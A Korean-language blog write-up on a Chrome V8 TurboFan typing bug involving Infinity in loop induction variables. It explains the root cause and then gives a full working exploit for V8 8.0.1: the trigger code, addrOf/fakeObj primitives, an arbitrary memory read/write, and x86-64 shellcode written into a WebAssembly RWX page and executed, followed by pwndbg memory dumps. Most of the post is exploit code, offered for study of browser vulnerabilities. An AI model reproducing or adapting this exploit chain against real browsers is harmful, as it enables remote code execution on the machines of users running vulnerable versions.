Project Zero(P0) 블로그 사이트에서 In-the-Wild Series: Chrome Infinity Bug 글을 읽어 봤다. in the wild에서 발견된 크롬 1day 익스플로잇을 분석한 글인데 브라우저 취약점을 학습하는 좋은 자료인 것 같다. 취약점과 익스플로잇, 변종 발견에 따른 패치 히스토리도 설명하고 있어 재미있게 읽어 본 것 같다. HABOOB 연구원도 같은 취약점을 익스플로잇한 글을 포스팅 했기에 취약점 이해부터 익스플로잇 까지 모두 진행해 볼 수 있었다.
Vulnerability Detail
V8 엔진에서 사용하는 integer(kInteger)는 우리가 흔히 알고 있는 32비트 데이터가 아닌 64비트로 표현되는(float, double) 데이터 타입이며 kInteger는 [-V8_INFINITY, V8_INFINITY]의 범위를 나타낸다.
Type const kInteger = CreateRange(-V8_INFINITY, V8_INFINITY);
kInteger는 아래와 같은 두 가지 특징을 가진다.
- kInteger에 Infinity와 -Infinity가 포함되지만 NaN과 -0는 포함되지 않는다.
- kInteger는 덧셈 연산에 닫혀 있지 않다. 즉, 두 개의 kInteger를 합한 결과가 kInterger가 아닐 수 있다.
예를 들어 Infinity와 -Infinity를 합한 결과는 NaN이 되는데 이는 kInteger에 포함되지 않는다.
Induction Variable은 반복문을 진행하면서 일정한 값으로 증가 또는 감소하는 변수를 말한다. 아래 반복문에서 변수 i, j는 induction variable이다.
// for (var i = initial; i < bound; i += increment) { [...] }
for (i = 0; i < 10; ++i) {
j = 17 * i;
}
Typer::Visitor::TypeInductionVariablePhi 함수는 반복문 최적화에 관여하며 반복문의 범위를 지정해주는 기능을 수행한다. 해당 함수의 소스코드 내용을 간략하게 요약하면 다음과 같다.
- 초기값(initial_type), 증가값(increment_type)이 kInteger인 경우에만 코드를 진행한다.
- 연산 유형(arithmetic_type)이 증가인지 또는 감소인지 확인하고 min, max 값을 설정한다.
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
// [ 1 ]
if (!initial_type.Is(typer_->cache_->kInteger) ||
!increment_type.Is(typer_->cache_->kInteger)) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
[...]
if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
increment_min = increment_type.Min();
increment_max = increment_type.Max();
} else {
DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
increment_min = -increment_type.Max();
increment_max = -increment_type.Min();
}
// [ 2 ]
if (increment_min >= 0) {
// increasing sequence
min = initial_type.Min();
for (auto bound : induction_var->upper_bounds()) {
Type bound_type = TypeOrNone(bound.bound);
// If the type is not an integer, just skip the bound.
if (!bound_type.Is(typer_->cache_->kInteger)) continue;
// If the type is not inhabited, then we can take the initial value.
if (bound_type.IsNone()) {
max = initial_type.Max();
break;
}
double bound_max = bound_type.Max();
if (bound.kind == InductionVariable::kStrict) {
bound_max -= 1;
}
max = std::min(max, bound_max + increment_max);
}
// The upper bound must be at least the initial value's upper bound.
max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
[...]
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger;
}
[...]
// [ 3 ]
return Type::Range(min, max, typer_->zone());
}
아래와 같은 for 반복문을 최적화 할 때 Typer::Visitor::TypeInductionVariablePhi 함수는 induction variable인 변수 i의 범위를 (-Infinity, +Infinity)라고 계산한다. 하지만 첫 번째 루프가 실행되고 나면 i는 NaN이다.
for (var i = -Infinity; i < 0; i += Infinity) {
// some code
}
익스플로잇에 사용된 취약점 트리거 코드는 아래와 같다.
var increment = 100;
var k = 0;
if (argument > 2) {
increment = Infinity;
}
for (var i = -Infinity; i <= -Infinity; i += increment) {
if (k++ > 10) {
break;
}
}
익스플로잇은 아래와 같이 멋진 트릭을 사용해서 변수 i의 타입을 range에서 single number로 도출했다. TurboFan이 추정하는 값(inferred)을 표현하는 데이터 타입을 double → int64_t → int32_t 으로 끌어가는 과정을 볼 수 있다.
[...]
// The comments display the current value of the variable i, the type
// inferred by the compiler, and the machine type used to store
// the value at each step.
// Initially:
// actual = NaN, inferred = (-Infinity, +Infinity)
// representation = double
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
[...]
이렇게 얻은 비정상적인 음수 i 값을 사용해 배열을 생성하고 out-of-bound read/write를 통해 임의 명령어 실행까지 끌어가는 전형적인 익스플로잇 과정을 진행한다. 아래 코드의 경우 array[n]을 통해 array_float, array_object 배열에 접근 할 수 있다.
[...]
var array = new Array(i);
array[0] = 1.1;
var array_float = [1.1, 1.2, 1.3, 1.4];
var array_object = [{
"A": 1
}];
return [array, array_float, i, array_object];
array[n] 접근으로 array_float, array_object 배열에 접근 할 수 있다. 이들 배열의 map 정보를 서로 교체하는 방식으로 addrOf, fakeObj 함수를 구현 할 수 있다.
/*
pwndbg> x/40gx 0x0000148f320c86a1-1 // backing store of array_corrupted(arary)
0x148f320c86a0: 0x00001d86e9c411c1 0x0000000d00000000
0x148f320c86b0: 0x3ff199999999999a 0xfff7fffffff7ffff // 0x3ff199999999999a == array_corrupted[0]
0x148f320c86c0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86d0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86e0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86f0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c8700: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c8710: 0xfff7fffffff7ffff 0x00000e8a26143051
0x148f320c8720: 0x00001d86e9c40c09 0x0000148f320c86a1
0x148f320c8730: 0xfffffc0d00000000 0x00001d86e9c411c1
0x148f320c8740: 0x0000000400000000 0x3ff199999999999a
0x148f320c8750: 0x3ff3333333333333 0x3ff4cccccccccccd
0x148f320c8760: 0x3ff6666666666666 0x00000e8a26143001 // 0x00000e8a26143001 == array_corrupted[23]
// map of array_float
0x148f320c8770: 0x00001d86e9c40c09 0x0000148f320c8739
0x148f320c8780: 0x0000000400000000 0x00000e8a2614aa31
0x148f320c8790: 0x00001d86e9c40c09 0x00001d86e9c40c09
0x148f320c87a0: 0x0000000100000000 0x00001d86e9c40799
0x148f320c87b0: 0x0000000100000000 0x0000148f320c8789
0x148f320c87c0: 0x00000e8a261430a1 0x00001d86e9c40c09 // 0x00000e8a261430a1 == array_corrupted[34]
// map of array_object
0x148f320c87d0: 0x0000148f320c87a9 0x0000000100000000
pwndbg>
*/
function addrOf(obj) {
var array_trigger = trigger();
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// accessing item of array_corrupted, we can access array_object and array_float array.
var map_array_object = array_corrupted[34];
var map_array_float = array_corrupted[23];
array_object[0] = obj;
array_corrupted[34] = map_array_float;
let leak = array_object[0];
array_corrupted[34] = map_array_object;
return leak.toBigInt();
}
function fakeObj(addr) {
var array_trigger = trigger();
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// accessing item of array_corrupted, we can access array_object and array_float array.
var map_array_object = array_corrupted[34];
var map_array_float = array_corrupted[23];
array_float[0] = addr.toNumber();
array_corrupted[23] = map_array_object;
var fake = array_float[0];
array_corrupted[23] = map_array_float;
return fake;
}
Exploitation
addrOf, fakeObj 함수 구현까지 마쳤으니 이제 WebAssembly를 활용한 전형적인 익스플로잇 루틴을 따르면 된다. 나의 경우 지난 번 oob-v8 포스팅에서 사용했던 ArrayBuffer 2개를 활용하는 방식으로 진행했다.

테스트는 Ubuntu 22.04, V8 8.0.1 버전에서 진행했다.
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
// Convert Double to BigInt
Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};
// Insert Int to memory as type of Double
BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
var array_trigger;
var array_corrupted;
var array_float;
var length_corrtuped;
var array_object;
function trigger(argument) {
var increment = 100;
var k = 0;
if (argument > 2) {
increment = Infinity;
}
for (var i = -Infinity; i <= -Infinity; i += increment) {
if (k++ > 10) {
break;
}
}
// The comments display the current value of the variable i, the type
// inferred by the compiler, and the machine type used to store
// the value at each step.
// Initially:
// actual = NaN, inferred = (-Infinity, +Infinity)
// representation = double
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
var array = new Array(i);
array[0] = 1.1;
var array_float = [1.1, 1.2, 1.3, 1.4];
var array_object = [{
"A": 1
}];
return [array, array_float, i, array_object];
}
function addrOf(obj) {
var array_trigger = trigger(3);
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// debug
// print('for debug');
// print('###### array_corrupted');
// %DebugPrint(array_corrupted);
// print('###### array_float');
// %DebugPrint(array_float);
// print('###### array_object');
// %DebugPrint(array_object);
// while(1) {}
// accessing item of array_corrupted, we can access array_object and array_float array.
var map_array_object = array_corrupted[34];
var map_array_float = array_corrupted[23];
array_object[0] = obj;
array_corrupted[34] = map_array_float;
let leak = array_object[0];
array_corrupted[34] = map_array_object;
return leak.toBigInt();
}
function fakeObj(addr) {
var array_trigger = trigger(3);
var array_corrupted = array_trigger[0];
var array_float = array_trigger[1];
var length_corrtuped = array_trigger[2];
var array_object = array_trigger[3];
// accessing item of array_corrupted, we can access array_object and array_float array.
var map_array_object = array_corrupted[34];
var map_array_float = array_corrupted[23];
array_float[0] = addr.toNumber();
array_corrupted[23] = map_array_object;
var fake = array_float[0];
array_corrupted[23] = map_array_float;
return fake;
}
print("triggering vulnerability");
//while (trigger()[2] != -1011); // loop until trigger the bug
while(1) {
array_trigger = trigger(3);
array_corrupted = array_trigger[0];
array_float = array_trigger[1];
length_corrupted = array_trigger[2];
array_object = array_trigger[3];
if (length_corrupted == -1011) {
print('done. break');
break;
}
}
print("prepare two of ArrayBuffer")
let array_buf1 = new ArrayBuffer(1024);
let array_buf2 = new ArrayBuffer(1024);
let array_buf1_addr = addrOf(array_buf1);
let array_buf2_addr = addrOf(array_buf2);
//%DebugPrint(array_buf1);
//%DebugPrint(array_buf2);
print(`array_buf1 @ 0x${array_buf1_addr.toString(16)}`);
print(`array_buf2 @ 0x${array_buf2_addr.toString(16)}`);
//var array_craft = [array_corrupted[23], 1.2, 1.3, 1.4];
var array_craft = [array_corrupted[23], 0x0000000200000000n.toNumber(), 1, 0xffffffff];
var array_craft_addr = addrOf(array_craft);
print(`array_craft @ 0x${array_craft_addr.toString(16)}`)
var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object);
print(`fake_object @ 0x${fake_object_addr.toString(16)}`)
// with array_craft, we can change fake_object's backing store to array_buf1
print(`set fake_object's backing store to array_buf1`)
array_craft[2] = array_buf1_addr.toNumber();
// with fake_object, we can change array_buf1's backing store to array_buf2
print(`set array_buf1's backing store to array_buf2`);
// note: ArrayBuffer's backing store pointer has raw pointer address. Not tagged pointer.
fake_object[2] = (array_buf2_addr - 0x1n).toNumber();
// with array_buf1, "view[4] = addr" will change array_buf2's backing store
let view1 = new BigUint64Array(array_buf1);
print(`construct read/write primitive`);
let memory = {
write(addr, bytes) {
view1[4] = addr;
let view2 = new Uint8Array(array_buf2);
view2.set(bytes);
},
read64(addr) {
view1[4] = addr;
let view2 = new BigUint64Array(array_buf2);
return view2[0];
},
write64(addr, ptr) {
view1[4] = addr;
let view2 = new BigUint64Array(array_buf2);
view2[0] = ptr;
}
};
// prepare WebAssembly
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;
// leak wasm_instance address and Jump Table Start pointer
let wasm_instance_addr = addrOf(wasm_instance);
print(`wasm_instance @ 0x${wasm_instance_addr.toString(16)}`);
let wasm_rwx_addr = memory.read64(wasm_instance_addr -0x1n + 0x80n);
print(`wasm_rwx @ 0x${wasm_rwx_addr.toString(16)}`);
print("writing shellcode");
let shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]);
memory.write(wasm_rwx_addr, shellcode);
print("popping calc");
func();
/*
gdb --args ./x64.release/d8 --allow-natives-syntax my.js
Triggering vulnerability
done. break
Prepare two of ArrayBuffer
for debug
###### array_corrupted
0x148f320c8719 <JSArray[4294966285]>
###### array_float
0x148f320c8769 <JSArray[4]>
###### array_object
0x148f320c87c1 <JSArray[1]>
^C
Thread 1 "d8" received signal SIGINT, Interrupt.
...
pwndbg> x/20gx 0x148f320c8719-1 // array_corrupted
0x148f320c8718: 0x00000e8a26143051 0x00001d86e9c40c09
0x148f320c8728: 0x0000148f320c86a1 0xfffffc0d00000000
0x148f320c8738: 0x00001d86e9c411c1 0x0000000400000000
0x148f320c8748: 0x3ff199999999999a 0x3ff3333333333333
0x148f320c8758: 0x3ff4cccccccccccd 0x3ff6666666666666
0x148f320c8768: 0x00000e8a26143001 0x00001d86e9c40c09
0x148f320c8778: 0x0000148f320c8739 0x0000000400000000
0x148f320c8788: 0x00000e8a2614aa31 0x00001d86e9c40c09
0x148f320c8798: 0x00001d86e9c40c09 0x0000000100000000
0x148f320c87a8: 0x00001d86e9c40799 0x0000000100000000
pwndbg>
pwndbg> x/40gx 0x0000148f320c86a1-1 // backing store of array_corrupted
0x148f320c86a0: 0x00001d86e9c411c1 0x0000000d00000000
0x148f320c86b0: 0x3ff199999999999a 0xfff7fffffff7ffff // 0x3ff199999999999a == array_corrupted[0]
0x148f320c86c0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86d0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86e0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c86f0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c8700: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x148f320c8710: 0xfff7fffffff7ffff 0x00000e8a26143051
0x148f320c8720: 0x00001d86e9c40c09 0x0000148f320c86a1
0x148f320c8730: 0xfffffc0d00000000 0x00001d86e9c411c1
0x148f320c8740: 0x0000000400000000 0x3ff199999999999a
0x148f320c8750: 0x3ff3333333333333 0x3ff4cccccccccccd
0x148f320c8760: 0x3ff6666666666666 0x00000e8a26143001 // 0x00000e8a26143001 == array_corrupted[23]
// map of array_float
0x148f320c8770: 0x00001d86e9c40c09 0x0000148f320c8739
0x148f320c8780: 0x0000000400000000 0x00000e8a2614aa31
0x148f320c8790: 0x00001d86e9c40c09 0x00001d86e9c40c09
0x148f320c87a0: 0x0000000100000000 0x00001d86e9c40799
0x148f320c87b0: 0x0000000100000000 0x0000148f320c8789
0x148f320c87c0: 0x00000e8a261430a1 0x00001d86e9c40c09 // 0x00000e8a261430a1 == array_corrupted[34]
// map of array_object
0x148f320c87d0: 0x0000148f320c87a9 0x0000000100000000
pwndbg>
pwndbg> x/20gx 0x148f320c8769-1
0x148f320c8768: 0x00000e8a26143001 0x00001d86e9c40c09
0x148f320c8778: 0x0000148f320c8739 0x0000000400000000
0x148f320c8788: 0x00000e8a2614aa31 0x00001d86e9c40c09
0x148f320c8798: 0x00001d86e9c40c09 0x0000000100000000
0x148f320c87a8: 0x00001d86e9c40799 0x0000000100000000
0x148f320c87b8: 0x0000148f320c8789 0x00000e8a261430a1
0x148f320c87c8: 0x00001d86e9c40c09 0x0000148f320c87a9
0x148f320c87d8: 0x0000000100000000 0x00001d86e9c40799
0x148f320c87e8: 0x0000000400000000 0x0000148f320c8719
0x148f320c87f8: 0x0000148f320c8769 0xfffffc0d00000000
pwndbg> x/20gx 0x148f320c87c1-1
0x148f320c87c0: 0x00000e8a261430a1 0x00001d86e9c40c09
0x148f320c87d0: 0x0000148f320c87a9 0x0000000100000000
0x148f320c87e0: 0x00001d86e9c40799 0x0000000400000000
0x148f320c87f0: 0x0000148f320c8719 0x0000148f320c8769
0x148f320c8800: 0xfffffc0d00000000 0x0000148f320c87c1
0x148f320c8810: 0x00000e8a261430a1 0x00001d86e9c40c09
0x148f320c8820: 0x0000148f320c87e1 0x0000000400000000
0x148f320c8830: 0xfff7fffffff7ffff 0x00001d86e9c411c1
0x148f320c8840: 0x0000000400000000 0x3ff199999999999a
0x148f320c8850: 0x3ff3333333333333 0x3ff4cccccccccccd
pwndbg>
*/